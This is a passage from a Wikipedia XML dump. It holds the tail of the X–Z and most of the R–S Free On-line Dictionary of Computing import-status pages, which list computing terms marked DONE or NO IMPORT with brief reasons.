[[Z-buffering|Z-buffer]]&lt;br&gt;
ZEBRA&lt;br&gt;
Zed&lt;br&gt;
Zen&lt;br&gt;
zen&lt;br&gt;
ZENO&lt;br&gt;
[[Zepto|zepto]]&lt;br&gt;
[[Zermelo-Fraenkel set theory|Zermelo Fränkel set theory]]&lt;br&gt;
[[Zermelo-Fraenkel set theory|Zermelo set theory]]&lt;br&gt;
ZERO&lt;br&gt;
zero&lt;br&gt;
Zero and Add Packed&lt;br&gt;
zero assignment&lt;br&gt;
zero-content&lt;br&gt;
[[ZIF|Zero Insertion Force]]&lt;br&gt;
[[Zeroth|zeroth]]&lt;br&gt;
ZEST&lt;br&gt;
[[ZetaLisp]]&lt;br&gt;
[[Zetta|zetta-]]&lt;br&gt;
[[Zettabyte|zettabyte]] '''DONE'''&lt;br&gt;
Zeus&lt;br&gt;
[[Zermelo-Fraenkel set theory|ZFC]]&lt;br&gt;
ZF expression&lt;br&gt;
[[ZIF]]&lt;br&gt;
zigamorph&lt;br&gt;
[[ZIL]]&lt;br&gt;
[[Zilog]] '''DONE'''&lt;br&gt;
[[Zilog Z280]]&lt;br&gt;
[[Zilog Z8]]&lt;br&gt;
[[Zilog Z80]] '''DONE'''&lt;br&gt;
[[Zilog Z8000]]&lt;br&gt;
[[Zilog Z80000]]&lt;br&gt;
[[Zilog Z80|Zilog Z80A]]&lt;br&gt;
zip&lt;br&gt;
Zipcode&lt;br&gt;
[[Zip drive|Zip Drive]]&lt;br&gt;
[[ZIP (file format)|zip file]]&lt;br&gt;
zipperhead&lt;br&gt;
zm&lt;br&gt;
[[ZMODEM]]&lt;br&gt;
ZOG&lt;br&gt;
ZOLA Technologies&lt;br&gt;
zombie '''NO IMPORT'''&lt;br&gt;
[[Zombie process|zombie process]] '''DONE'''&lt;br&gt;
zone&lt;br&gt;
Zoo&lt;br&gt;
zoo&lt;br&gt;
zoom&lt;br&gt;
Zoomer&lt;br&gt;
ZOPL&lt;br&gt;
zorch&lt;br&gt;
[[Zork]] '''DONE'''&lt;br&gt;
[[Zorkmid|zorkmid]] '''DONE'''&lt;br&gt;
zr&lt;br&gt;
[[Z shell|zsh]] '''NO IMPORT''' - duplicate info&lt;br&gt;
[[Z shell]] '''DONE'''&lt;br&gt;
ZUG&lt;br&gt;
[[Coordinated Universal Time|Zulu time]]&lt;br&gt;
ZUSE&lt;br&gt;
Zuse&lt;br&gt;
[[Konrad Zuse|Zuse, Konrad]] '''DONE'''&lt;br&gt;
zw&lt;br&gt;
[[Sinclair ZX80|ZX80]] '''DONE'''&lt;br&gt;
[[Sinclair ZX81|ZX81]] '''DONE'''&lt;br&gt;
zxnrbl&lt;br&gt;
[[ZX Spectrum]] '''DONE'''&lt;br&gt;
Zynet Ltd. '''NO IMPORT'''&lt;br&gt;
[[ZyXEL]] '''NO IMPORT'''&lt;br&gt;

:''See also :'' [[Free On-line Dictionary of Computing]]</text>
    </revision>
  </page>
  <page>
    <title>Wikipedia:Free On-line Dictionary of Computing/R - S</title>
    <id>11336</id>
    <revision>
      <id>39205959</id>
      <timestamp>2006-02-11T14:03:03Z</timestamp>
      <contributor>
        <ip>58.68.81.5</ip>
      </contributor>
      <text xml:space="preserve">[[Free_On-line_Dictionary_of_Computing/symbols - B|symbols - B]] -- 
[[Free_On-line_Dictionary_of_Computing/C - D|C - D]] -- 
[[Free_On-line_Dictionary_of_Computing/E - H|E - H]] -- 
[[Free_On-line_Dictionary_of_Computing/I - K|I - K]] -- 
[[Free_On-line_Dictionary_of_Computing/L - N|L - N]] -- 
[[Free_On-line_Dictionary_of_Computing/O - Q|O - Q]] -- '''R - S''' -- 
[[Free_On-line_Dictionary_of_Computing/T - W|T - W]] -- 
[[Free_On-line_Dictionary_of_Computing/X - Z|X - Z]] -- 

[[Free_On-line_Dictionary_of_Computing/Status|FOLDOC Status Page]]

R2000 '''NO IMPORT''' - duplicate info&lt;br&gt;
R2RS '''NO IMPORT''' - insubstantial&lt;br&gt;
R3.99RS '''NO IMPORT''' - insubstantial&lt;br&gt;
R3RS '''NO IMPORT''' - insubstantial&lt;br&gt;
R4RS '''NO IMPORT''' - insubstantial&lt;br&gt;
rabbit job '''NO IMPORT''' - jargon&lt;br&gt;
RACE '''NO IMPORT''' - esoteric&lt;br&gt;
race condition '''DONE'''&lt;br&gt;
RACF '''NO IMPORT''' - insubstantial&lt;br&gt;
RAD '''NO IMPORT''' - duplicate info&lt;br&gt;
Raddle '''NO IMPORT''' - insubstantial&lt;br&gt;
Radio Frequency Interference '''DONE'''&lt;br&gt;
radiosity '''DONE'''&lt;br&gt;
RADIUS '''NO IMPORT''' - insubstantial&lt;br&gt;
radix '''DONE'''&lt;br&gt;
RAID '''DONE'''&lt;br&gt;
RAIL '''NO IMPORT''' - insubstantial&lt;br&gt;
rainbow series '''NO IMPORT''' - jargon&lt;br&gt;
rain dance '''DONE'''&lt;br&gt;
RAISE '''NO IMPORT''' - insubstantial&lt;br&gt;
RAL '''NO IMPORT''' - insubstantial&lt;br&gt;
RAM '''DONE'''&lt;br&gt;
Rambus DRAM '''DONE'''&lt;br&gt;
Rambus, Inc. '''DONE'''&lt;br&gt;
RAMDAC '''DONE'''&lt;br&gt;
RAM disk '''DONE'''&lt;br&gt;
RAM drive '''DONE'''&lt;br&gt;
RAMIS II '''NO IMPORT''' - insubstantial&lt;br&gt;
RAMTRON '''NO IMPORT''' - insubstantial&lt;br&gt;
random '''DONE'''&lt;br&gt;
random-access memory '''DONE'''&lt;br&gt;
Random Access Memory Digital-to-Analog Converter '''DONE'''&lt;br&gt;
randomness '''NO IMPORT''' - jargon&lt;br&gt;
random numbers '''NO IMPORT''' - jargon&lt;br&gt;
random testing '''NO IMPORT''' - insubstantial&lt;br&gt;
range '''NO IMPORT'''&lt;br&gt;
Rapid Application Development '''NO IMPORT''' - duplicate info&lt;br&gt;
RapidCAD '''DONE'''&lt;br&gt;
Rapidly Extensible Language, English&lt;br&gt;
rapid prototyping&lt;br&gt;
Rapidwrite '''NO IMPORT''' - esoteric&lt;br&gt;
RAPT '''NO IMPORT''' - insubstantial&lt;br&gt;
RARE '''NO IMPORT''' - insubstantial&lt;br&gt;
rare mode '''DONE'''&lt;br&gt;
RARP '''DONE'''&lt;br&gt;
RAS '''DONE'''&lt;br&gt;
RASP '''NO IMPORT''' - insubstantial&lt;br&gt;
raster '''NO IMPORT''' - duplicate info&lt;br&gt;
raster blaster '''NO IMPORT''' - jargon&lt;br&gt;
raster burn '''NO IMPORT''' - jargon&lt;br&gt;
raster font '''NO IMPORT''' - duplicate info&lt;br&gt;
rastergram '''DONE'''&lt;br&gt; 
raster graphics '''DONE'''&lt;br&gt;
raster subsystem '''NO IMPORT''' - insubstantial&lt;br&gt;
Ratatosk '''NO IMPORT''' - esoteric&lt;br&gt;
rat belt '''NO IMPORT''' - jargon&lt;br&gt;
RatC '''NO IMPORT''' - insubstantial&lt;br&gt;
[[rate-monotonic scheduling|Rate monotonic scheduling]] '''DONE'''&lt;br&gt;
RATFIV '''NO IMPORT''' - insubstantial&lt;br&gt;
RATFOR '''NO IMPORT''' - insubstantial&lt;br&gt;
rational '''NO IMPORT''' - duplicate info&lt;br&gt;
RATional Fortran '''NO IMPORT''' - insubstantial&lt;br&gt;
Rationalized C '''NO IMPORT''' - insubstantial&lt;br&gt;
rave '''NO IMPORT''' - jargon&lt;br&gt;
rave on! '''NO IMPORT''' - jargon&lt;br&gt;
raw data '''NO IMPORT' - non-encyclopedic&lt;br&gt;
raw mode '''NO IMPORT''' - jargon&lt;br&gt;
RAWOOP-SNAP '''NO IMPORT''' - insubstantial&lt;br&gt;
Rayleigh distribution '''NO IMPORT''' - jargon&lt;br&gt;
ray tracing '''DONE'''&lt;br&gt;
R:BASE '''NO IMPORT''' - insubstantial&lt;br&gt;
RBASIC '''NO IMPORT''' - esoteric&lt;br&gt;
RBCSP '''NO IMPORT''' - insubstantial&lt;br&gt;
RBOC '''DONE'''&lt;br&gt;
rc&lt;br&gt;
RC4 '''DONE'''&lt;br&gt;
RCA 1802&lt;br&gt;
RCA 1805&lt;br&gt;
RCC&lt;br&gt;
rc file&lt;br&gt;
RCL&lt;br&gt;
rcp&lt;br&gt;
RCS '''DONE'''&lt;br&gt;
Rdb&lt;br&gt;
rdb&lt;br&gt;
RDBA&lt;br&gt;
RDBMS '''DONE'''&lt;br&gt;
RDF '''DONE'''&lt;br&gt;
RDI&lt;br&gt;
RDL&lt;br&gt;
RDOS&lt;br&gt;
RDRAM&lt;br&gt;
RDS&lt;br&gt;
RE&lt;br&gt;
re&lt;br&gt;
README file&lt;br&gt;
Read-Only Memory&lt;br&gt;
read-only user&lt;br&gt;
real&lt;br&gt;
RealAudio '''DONE'''&lt;br&gt;
real estate&lt;br&gt;
real hack&lt;br&gt;
reality check&lt;br&gt;
real mode '''DONE'''&lt;br&gt;
real number '''DONE'''&lt;br&gt;
real operating system&lt;br&gt;
Real Programmer&lt;br&gt;
Real Programmers Don't Use Pascal&lt;br&gt;
Real Soon Now&lt;br&gt;
real-time '''DONE'''&lt;br&gt;
Realtime Disk Operating System '''DONE'''&lt;br&gt;
Real-Time Euclid&lt;br&gt;
Real-Time Mentat&lt;br&gt;
Real-Time Object-Oriented Modeling&lt;br&gt;
Real-Time Operating System '''DONE'''&lt;br&gt;
Real-Time Pascal&lt;br&gt;
Real Time Streaming Protocol '''DONE'''&lt;br&gt;
real-time structured analysis '''NO IMPORT''' - insubstantial&lt;br&gt;
real user '''NO IMPORT''' - jargon&lt;br&gt;
Real World '''NO IMPORT''' - jargon&lt;br&gt;
reaper '''NO IMPORT''' - jargon&lt;br&gt;
reassembly '''NO IMPORT''' - duplicate info&lt;br&gt;
reboot '''NO IMPORT''' - jargon&lt;br&gt;
REC '''NO IMPORT''' - insubstantial&lt;br&gt;
recipe '''NO IMPORT''' - insubstantial&lt;br&gt;
recipient '''NO IMPORT''' - insubstantial&lt;br&gt;
Recital '''NO IMPORT''' - insubstantial&lt;br&gt;
RECOL '''NO IMPORT''' - insubstantial&lt;br&gt;
Recommended Standard '''NO IMPORT''' - insubstantial&lt;br&gt;
record '''NO IMPORT''' - duplicate info&lt;br&gt;
Record Management Services '''DONE'''&lt;br&gt;
Record Separator '''NO IMPORT''' - insubstantial&lt;br&gt;
rectangle slinger '''NO IMPORT''' - jargon&lt;br&gt;
recurse '''NO IMPORT''' - duplicate info&lt;br&gt;
recursion '''DONE'''&lt;br&gt;
recursion theory '''NO IMPORT''' - duplicate info&lt;br&gt;
recursive '''DONE'''&lt;br&gt;
recursive acronym '''DONE'''&lt;br&gt;
recursive definition '''NO IMPORT''' - duplicate info&lt;br&gt;
recursive descent parser '''DONE'''&lt;br&gt;
Recursive Functional Algorithmic Language '''NO IMPORT''' - insubstantial&lt;br&gt;
Recursive Macro Actuated Generator '''NO IMPORT''' - esoteric&lt;br&gt;
recursive type '''DONE'''&lt;br&gt;
Red '''NO IMPORT''' - insubstantial&lt;br&gt;
Red Book '''DONE'''&lt;br&gt;
Red Brick Intelligent SQL '''NO IMPORT''' - insubstantial&lt;br&gt;
Redcode '''NO IMPORT'''- jargon&lt;br&gt;
redex '''NO IMPORT''' - insubstantial&lt;br&gt;
Red Hat '''DONE'''&lt;br&gt;
RediLisp '''NO IMPORT''' - insubstantial&lt;br&gt;
redirection '''NO IMPORT''' - insubstantial&lt;br&gt;
redirector '''DONE'''&lt;br&gt;
RedNet Ltd. '''NO IMPORT''' - not noteworthy&lt;br&gt;
redocumentation '''NO IMPORT''' - insubstantial&lt;br&gt;
REDUCE '''NO IMPORT''' - duplicate info&lt;br&gt;
Reduced Instruction Set Computer '''DONE'''&lt;br&gt;
reduction '''NO IMPORT''' - insubstantial&lt;br&gt;
reduction strategy '''NO IMPORT''' - insubstantial&lt;br&gt;
redundancy '''NO IMPORT''' - duplicate info&lt;br&gt;
Redundant Array of Inexpensive Disks '''DONE'''&lt;br&gt;
Redundant Arrays of Independent Disks '''DONE'''&lt;br&gt;
Redundant Arrays of Inexpensive Disks '''DONE'''&lt;br&gt;
red wire&lt;br&gt;
red zone&lt;br&gt;
re-engineering&lt;br&gt;
re-entrant&lt;br&gt;
refactoring '''DONE'''&lt;br&gt;
REFAL&lt;br&gt;
REF-ARF&lt;br&gt;
reference&lt;br&gt;
reference counting '''DONE'''&lt;br&gt;
referential integrity&lt;br&gt;
referentially transparent&lt;br&gt;
referential transparency '''DONE'''&lt;br&gt;
referer&lt;br&gt;
referrer&lt;br&gt;
REFINE&lt;br&gt;
Refined C&lt;br&gt;
Refined Fortran&lt;br&gt;
reflexive&lt;br&gt;
reflexive domain&lt;br&gt;
Reflexive transitive closure&lt;br&gt;
RefLisp&lt;br&gt;
refresh&lt;br&gt;
refreshable braille display '''DONE'''&lt;br&gt;
refreshable display&lt;br&gt;
refresh rate&lt;br&gt;
refutable&lt;br&gt;
regex '''DONE'''&lt;br&gt;
regexp '''DONE'''&lt;br&gt;
Regina&lt;br&gt;
regional network&lt;br&gt;
register '''DONE'''&lt;br&gt;
register allocation&lt;br&gt;
register assignment&lt;br&gt;
register dancing&lt;br&gt;
register set&lt;br&gt;
register spilling '''DONE'''&lt;br&gt;
Register Transfer Language '''DONE'''&lt;br&gt;
regression '''DONE'''&lt;br&gt;
regression testing '''DONE'''&lt;br&gt;
REG-SYMBOLIC&lt;br&gt;
REGTRAL&lt;br&gt;
regular expression '''DONE'''&lt;br&gt;
regular graph '''DONE'''&lt;br&gt;
rehi&lt;br&gt;
Reid, Brian&lt;br&gt;
reify&lt;br&gt;
reincarnation, cycle of&lt;br&gt;
reinvent the wheel&lt;br&gt;
relation&lt;br&gt;
relational algebra&lt;br&gt;
relational calculus&lt;br&gt;
relational database '''DONE'''&lt;br&gt;
relational database management system '''DONE'''&lt;br&gt;
relational data model&lt;br&gt;
relational DBMS '''DONE'''&lt;br&gt;
relational language&lt;br&gt;
relational model '''DONE'''&lt;br&gt;
RELATIVE&lt;br&gt;
relatively prime '''DONE'''&lt;br&gt;
relative pathname&lt;br&gt;
Relative Record Data Set&lt;br&gt;
RELCODE&lt;br&gt;
release&lt;br&gt;
released version&lt;br&gt;
REL English&lt;br&gt;
relevance&lt;br&gt;
reliability&lt;br&gt;
Reliability, Availability, Serviceability&lt;br&gt;
reliable communication&lt;br&gt;
religion of CHI&lt;br&gt;
religious issues&lt;br&gt;
REM&lt;br&gt;
remailer&lt;br&gt;
Remote Access Services '''DONE'''&lt;br&gt;
Remote Database Access&lt;br&gt;
remote echo&lt;br&gt;
Remote Job Entry&lt;br&gt;
remote login&lt;br&gt;
Remote Method Invocation&lt;br&gt;
Remote Operations Service Element&lt;br&gt;
Remote Procedure Call&lt;br&gt;
Remote Reference Layer&lt;br&gt;
Remote Spooling Communication Subsystem&lt;br&gt;
Remote Write Protocol&lt;br&gt;
removable disk&lt;br&gt;
rendering '''DONE'''&lt;br&gt;
RenderMan Shading Language&lt;br&gt;
rendezvous&lt;br&gt;
REP&lt;br&gt;
repeat&lt;br&gt;
repeater '''DONE'''&lt;br&gt;
repeating group&lt;br&gt;
repeat loop&lt;br&gt;
repetitive strain disorder&lt;br&gt;
repetitive strain injury&lt;br&gt;
REPL&lt;br&gt;
replacement algorithm&lt;br&gt;
Replay&lt;br&gt;
replication&lt;br&gt;
replicator&lt;br&gt;
reply&lt;br&gt;
Repondez s'il vous plait&lt;br&gt;
Report Program Generator&lt;br&gt;
repository&lt;br&gt;
Request For Comments&lt;br&gt;
request for proposal&lt;br&gt;
Request For Technology&lt;br&gt;
Required-COBOL&lt;br&gt;
requirements&lt;br&gt;
Requirements Acquisition and Controlled Evolution&lt;br&gt;
requirements analysis&lt;br&gt;
Requirements Engineering&lt;br&gt;
Research Systems, Inc.&lt;br&gt;
reserved memory&lt;br&gt;
resolution&lt;br&gt;
resolver&lt;br&gt;
Resource Access Control Facility&lt;br&gt;
Resource Description Framework '''DONE'''&lt;br&gt;
resource fork&lt;br&gt;
Resource Reservation Protocol&lt;br&gt;
restriction&lt;br&gt;
Restructured EXtended eXecutor&lt;br&gt;
restructuring&lt;br&gt;
retcon&lt;br&gt;
RETI&lt;br&gt;
Retrieve&lt;br&gt;
retrocomputing&lt;br&gt;
retronym&lt;br&gt;
return from interrupt&lt;br&gt;
return from the dead&lt;br&gt;
Return To Zero&lt;br&gt;
reusability&lt;br&gt;
reuse&lt;br&gt;
Reverse Address Resolution Protocol '''DONE'''&lt;br&gt;
Reverse ARP '''DONE'''&lt;br&gt;
reverse engineering&lt;br&gt;
Reverse Polish Notation&lt;br&gt;
Revised ALGOL 60&lt;br&gt;
revision&lt;br&gt;
Revision Control System&lt;br&gt;
Revolutionary Surrealist Vandal Party&lt;br&gt;
REX&lt;br&gt;
REXX '''DONE'''&lt;br&gt;
REXXWARE&lt;br&gt;
RFC&lt;br&gt;
RFC 1014&lt;br&gt;
RFC 1034&lt;br&gt;
RFC 1035&lt;br&gt;
RFC 1058&lt;br&gt;
RFC 1081&lt;br&gt;
RFC 1094&lt;br&gt;
RFC 1112&lt;br&gt;
RFC 1119&lt;br&gt;
RFC 1123&lt;br&gt;
RFC 1156&lt;br&gt;
RFC 1157&lt;br&gt;
RFC 1171&lt;br&gt;
RFC 1208&lt;br&gt;
RFC 1213&lt;br&gt;
RFC 1267&lt;br&gt;
RFC 1268&lt;br&gt;
RFC 1304&lt;br&gt;
RFC 1321&lt;br&gt;
RFC 1334&lt;br&gt;
RFC 1341&lt;br&gt;
RFC 1347&lt;br&gt;
RFC 1350&lt;br&gt;
RFC 1388&lt;br&gt;
RFC 1436&lt;br&gt;
RFC 1441&lt;br&gt;
RFC 1442&lt;br&gt;
RFC 1443&lt;br&gt;
RFC 1444&lt;br&gt;
RFC 1445&lt;br&gt;
RFC 1446&lt;br&gt;
RFC 1447&lt;br&gt;
RFC 1448&lt;br&gt;
RFC 1449&lt;br&gt;
RFC 1450&lt;br&gt;
RFC 1451&lt;br&gt;
RFC 1452&lt;br&gt;
RFC 1475&lt;br&gt;
RFC 1508&lt;br&gt;
RFC 1509&lt;br&gt;
RFC 1520&lt;br&gt;
RFC 1521&lt;br&gt;
RFC 1526&lt;br&gt;
RFC 1531&lt;br&gt;
RFC 1550&lt;br&gt;
RFC 1561&lt;br&gt;
RFC 1568&lt;br&gt;
RFC 1591&lt;br&gt;
RFC 1630&lt;br&gt;
RFC 1661&lt;br&gt;
RFC 1700&lt;br&gt;
RFC 1701&lt;br&gt;
RFC 1702&lt;br&gt;
RFC 1707&lt;br&gt;
RFC 1730&lt;br&gt;
RFC 1756&lt;br&gt;
RFC 1760&lt;br&gt;
RFC 1777&lt;br&gt;
RFC 1778&lt;br&gt;
RFC 1823&lt;br&gt;
RFC 1825&lt;br&gt;
RFC 1861&lt;br&gt;
RFC 1938&lt;br&gt;
RFC 1951&lt;br&gt;
RFC 1959&lt;br&gt;
RFC 1960&lt;br&gt;
RFC 2045&lt;br&gt;
RFC 2046&lt;br&gt;
RFC 2047&lt;br&gt;
RFC 2048&lt;br&gt;
RFC 2049&lt;br&gt;
RFC 2060&lt;br&gt;
RFC 2061&lt;br&gt;
RFC 2068&lt;br&gt;
RFC 2093&lt;br&gt;
RFC 2131&lt;br&gt;
RFC 2234&lt;br&gt;
RFC 2236&lt;br&gt;
RFC 2279&lt;br&gt;
RFC 2298&lt;br&gt;
RFC 2326&lt;br&gt;
RFC 2408&lt;br&gt;
RFC 2543&lt;br&gt;
RFC 792&lt;br&gt;
RFC 822&lt;br&gt;
RFC 826&lt;br&gt;
RFC 854&lt;br&gt;
RFC 903&lt;br&gt;
RFC 959&lt;br&gt;
RFE&lt;br&gt;
RFI&lt;br&gt;
RFP&lt;br&gt;
RFT&lt;br&gt;
RG58&lt;br&gt;
RGB '''DONE'''&lt;br&gt;
Rhapsody&lt;br&gt;
rib site&lt;br&gt;
rice box&lt;br&gt;
Richard Gabriel&lt;br&gt;
Richard P. Gabriel&lt;br&gt;
Richard Stallman '''DONE'''&lt;br&gt;
rich object&lt;br&gt;
Rich Text Format '''DONE'''&lt;br&gt;
RIFF&lt;br&gt;
RIGAL&lt;br&gt;
Rigel&lt;br&gt;
right brace&lt;br&gt;
right bracket&lt;br&gt;
right-click&lt;br&gt;
right outer join&lt;br&gt;
right parenthesis&lt;br&gt;
Right Thing&lt;br&gt;
Rijndael '''DONE'''&lt;br&gt;
ring network&lt;br&gt;
ring topology&lt;br&gt;
Riordan's Internet Privacy Enhanced Mail&lt;br&gt;
RIP '''DONE'''&lt;br&gt;
RIPE&lt;br&gt;
RIPEM&lt;br&gt;
RISC -- '''DONE'''&lt;br&gt;
RISC OS&lt;br&gt;
Risc PC&lt;br&gt;
RISC System/6000&lt;br&gt;
RISQL&lt;br&gt;
RJ-11&lt;br&gt;
RJ-45 '''DONE'''&lt;br&gt;
RJE&lt;br&gt;
RKM&lt;br&gt;
RL '''DONE'''&lt;br&gt;
rl&lt;br&gt;
RLaB&lt;br&gt;
RLE '''DONE'''&lt;br&gt;
RLF&lt;br&gt;
[[RLL]] '''DONE'''&lt;br&gt;
rlogin&lt;br&gt;
RMAG&lt;br&gt;
RMAIL&lt;br&gt;
RMI '''DONE'''&lt;br&gt;
RM-ODP&lt;br&gt;
RMON&lt;br&gt;
RMS&lt;br&gt;
RNF&lt;br&gt;
ro&lt;br&gt;
roach&lt;br&gt;
ROADS&lt;br&gt;
Robert T. Morris&lt;br&gt;
ROBEX&lt;br&gt;
RoboHELP '''DONE'''&lt;br&gt;
robot&lt;br&gt;
robust&lt;br&gt;
Rockwell Protocol Interface&lt;br&gt;
Rocky Mountain Basic&lt;br&gt;
rococo&lt;br&gt;
roff&lt;br&gt;
ROFLMAO&lt;br&gt;
rogue&lt;br&gt;
rollback&lt;br&gt;
ROM '''DONE'''&lt;br&gt;
ROM BIOS '''DONE'''&lt;br&gt;
ROME&lt;br&gt;
Rom Kernel Manual&lt;br&gt;
room&lt;br&gt;
ROOM Methodology&lt;br&gt;
room-temperature IQ&lt;br&gt;
root&lt;br&gt;
root bridge&lt;br&gt;
root directory&lt;br&gt;
root mode&lt;br&gt;
root node&lt;br&gt;
Root Normal Form&lt;br&gt;
root version&lt;br&gt;
ROSE&lt;br&gt;
Rosette&lt;br&gt;
Roskind grammars&lt;br&gt;
rot13 '''DONE'''&lt;br&gt;
rotary debugger&lt;br&gt;
rotational latency&lt;br&gt;
rotation per minute&lt;br&gt;
ROTFL&lt;br&gt;
ROTFLMAO&lt;br&gt;
ROTFLOL&lt;br&gt;
round-robin&lt;br&gt;
round tape&lt;br&gt;
round-trip time&lt;br&gt;
route '''DONE'''&lt;br&gt;
routed '''DONE'''&lt;br&gt;
route flapping '''DONE'''&lt;br&gt;
routeing '''DONE'''&lt;br&gt;
routeing domain '''DONE'''&lt;br&gt;
router '''DONE'''&lt;br&gt;
routine&lt;br&gt;
routing&lt;br&gt;
Routing Information Protocol '''DONE'''&lt;br&gt;
Routing Table Maintenance Protocol '''DONE'''&lt;br&gt;
row&lt;br&gt;
row-level locking&lt;br&gt;
Royal Veterinary and Agricultural University&lt;br&gt;
RPC '''DONE'''&lt;br&gt;
RPG&lt;br&gt;
RPI&lt;br&gt;
RPL&lt;br&gt;
RPL-1&lt;br&gt;
RPM '''DONE'''&lt;br&gt;
rpm '''DONE'''&lt;br&gt;
RPN&lt;br&gt;
Répondez s'il vous plait&lt;br&gt;
RPT&lt;br&gt;
RRL&lt;br&gt;
RRS&lt;br&gt;
RS&lt;br&gt;
RS-232 '''DONE'''&lt;br&gt;
RS-232C&lt;br&gt;
RS-232D&lt;br&gt;
RS-422&lt;br&gt;
RS-423&lt;br&gt;
RS-449&lt;br&gt;
RS-485&lt;br&gt;
RS6000 '''DONE'''&lt;br&gt;
RS/6000 '''DONE'''&lt;br&gt;
RS6K '''DONE'''&lt;br&gt;
RSA&lt;br&gt;
RSA Data Security, Inc.&lt;br&gt;
RSA encryption '''NO IMPORT'''&lt;br&gt;
RSCS&lt;br&gt;
Réseaux Associés pour la Recherche Européenne&lt;br&gt;
Réseaux IP Européens&lt;br&gt;
RS flip-flop&lt;br&gt;
rsh&lt;br&gt;
RSI&lt;br&gt;
RSL&lt;br&gt;
RSN&lt;br&gt;
rstat&lt;br&gt;
RSTS/E&lt;br&gt;
RSVP&lt;br&gt;
RTBM&lt;br&gt;
RTC++&lt;br&gt;
RT-CDL&lt;br&gt;
RTEE&lt;br&gt;
RTF '''DONE'''&lt;br&gt;
RTFAQ&lt;br&gt;
RTFB&lt;br&gt;
RTFM '''NO IMPORT''' - duplicate info&lt;br&gt;
RTFS&lt;br&gt;
RTI&lt;br&gt;
RTL&lt;br&gt;
RTL/1&lt;br&gt;
RTL/2&lt;br&gt;
RTM&lt;br&gt;
RTMP '''DONE'''&lt;br&gt;
RTOS&lt;br&gt;
RT-PC&lt;br&gt;
RTS&lt;br&gt;
RTSA&lt;br&gt;
RTSP '''DONE'''&lt;br&gt;
RTT&lt;br&gt;
RTTI&lt;br&gt;
ru&lt;br&gt;
rubi '''DONE'''&lt;br&gt;
Ruby '''DONE'''&lt;br&gt;
rude&lt;br&gt;
RUFL&lt;br&gt;
run&lt;br&gt;
RUNCIBLE&lt;br&gt;
runes '''NO IMPORT'''&lt;br&gt;
runic '''NO IMPORT'''&lt;br&gt;
run-length encoding '''DONE'''&lt;br&gt;
run time&lt;br&gt;
run-time environment&lt;br&gt;
run-time error&lt;br&gt;
run-time library&lt;br&gt;
run-time support&lt;br&gt;
run-time system&lt;br&gt;
Run-Time Type Information&lt;br&gt;
ruptime&lt;br&gt;
RUSH&lt;br&gt;
Russell&lt;br&gt;
Russell, Bertrand&lt;br&gt;
Russell's Attic&lt;br&gt;
Russell's Paradox&lt;br&gt;
rusty iron&lt;br&gt;
rusty memory&lt;br&gt;
RUTH&lt;br&gt;
rw&lt;br&gt;
rwho&lt;br&gt;
RWP&lt;br&gt;
Rx&lt;br&gt;
S&lt;br&gt;
s///&lt;br&gt;
S3&lt;br&gt;
SA&lt;br&gt;
sa '''NO IMPORT'''&lt;br&gt;
SA-110&lt;br&gt;
SAA&lt;br&gt;
Saber-C&lt;br&gt;
Saber-C++&lt;br&gt;
SAC&lt;br&gt;
SAC-1&lt;br&gt;
SAC2&lt;br&gt;
sacadm&lt;br&gt;
sacred '''NO IMPORT'''&lt;br&gt;
SAD&lt;br&gt;
SAD SAM&lt;br&gt;
SADT&lt;br&gt;
SAFARI&lt;br&gt;
safe&lt;br&gt;
safety&lt;br&gt;
safety-critical system&lt;br&gt;
saga&lt;br&gt;
sagan&lt;br&gt;
[[SAGE]] '''DONE'''&lt;br&gt;
SAIC&lt;br&gt;
SAID&lt;br&gt;
SAIL&lt;br&gt;
SAINT&lt;br&gt;
Saint Andrews Static Language&lt;br&gt;
SAL&lt;br&gt;
SALEM&lt;br&gt;
Sales Automation&lt;br&gt;
salescritter&lt;br&gt;
Sales Force Automation&lt;br&gt;
S-ALGOL&lt;br&gt;
SALT&lt;br&gt;
salt&lt;br&gt;
salt mines&lt;br&gt;
salt substrate&lt;br&gt;
SAM&lt;br&gt;
sam&lt;br&gt;
SAM76&lt;br&gt;
Samba '''DONE'''&lt;br&gt;
SAME&lt;br&gt;
same-day service&lt;br&gt;
SAMeDL&lt;br&gt;
samizdat '''DONE'''&lt;br&gt;
Sammet, Jean E.&lt;br&gt;
sample '''DONE'''&lt;br&gt;
sample rate '''NO IMPORT'''&lt;br&gt;
sampling '''DONE'''&lt;br&gt;
sampling frequency '''DONE'''&lt;br&gt;
samurai&lt;br&gt;
sandbender&lt;br&gt;
sandbox&lt;br&gt;
Sandman&lt;br&gt;
San Francisco&lt;br&gt;
sanity check&lt;br&gt;
Santa Cruz Operation '''DONE'''&lt;br&gt;
SAP '''DONE'''&lt;br&gt;
SAP AG '''NO IMPORT'''&lt;br&gt;
SAPI&lt;br&gt;
SAR&lt;br&gt;
SAS&lt;br&gt;
SASD&lt;br&gt;
SASE&lt;br&gt;
SASI&lt;br&gt;
SASL&lt;br&gt;
SASL+LV&lt;br&gt;
SASL-YACC&lt;br&gt;
SAS System&lt;br&gt;
SATAN&lt;br&gt;
Sather&lt;br&gt;
Sather-K&lt;br&gt;
satisfiability problem&lt;br&gt;
Saturday-night special&lt;br&gt;
SAVE&lt;br&gt;
say&lt;br&gt;
sb&lt;br&gt;
SB AWE32&lt;br&gt;
SBCS&lt;br&gt;
SBD&lt;br&gt;
SBM&lt;br&gt;
SB-Prolog&lt;br&gt;
SBus&lt;br&gt;
SC&lt;br&gt;
sc&lt;br&gt;
SCA&lt;br&gt;
SCADA&lt;br&gt;
scag&lt;br&gt;
scalability&lt;br&gt;
Scalable Coherent Interface&lt;br&gt;
Scalable Processor ARChitecture&lt;br&gt;
Scalable Vector Graphics&lt;br&gt;
scalar&lt;br&gt;
SCALLOP&lt;br&gt;
SCAN&lt;br&gt;
scan&lt;br&gt;
scan design&lt;br&gt;
SCANDISK&lt;br&gt;
Scan-EDF&lt;br&gt;
scanf&lt;br&gt;
Scan-In, Scan-Out&lt;br&gt;
scan line&lt;br&gt;
scanner&lt;br&gt;
scanno&lt;br&gt;
scan path&lt;br&gt;
scan register&lt;br&gt;
SCC&lt;br&gt;
SCCS&lt;br&gt;
SCEPTRE&lt;br&gt;
scheduler '''DONE'''&lt;br&gt;
[[scheduling]] '''DONE'''&lt;br&gt;
Scheduling API&lt;br&gt;
Scheduling Application Programming Interface&lt;br&gt;
Schelog&lt;br&gt;
Schema Definition Set&lt;br&gt;
Schema Representation language&lt;br&gt;
schematic capture&lt;br&gt;
schematic type variable&lt;br&gt;
Schematik&lt;br&gt;
Scheme&lt;br&gt;
Scheme84&lt;br&gt;
Scheme88&lt;br&gt;
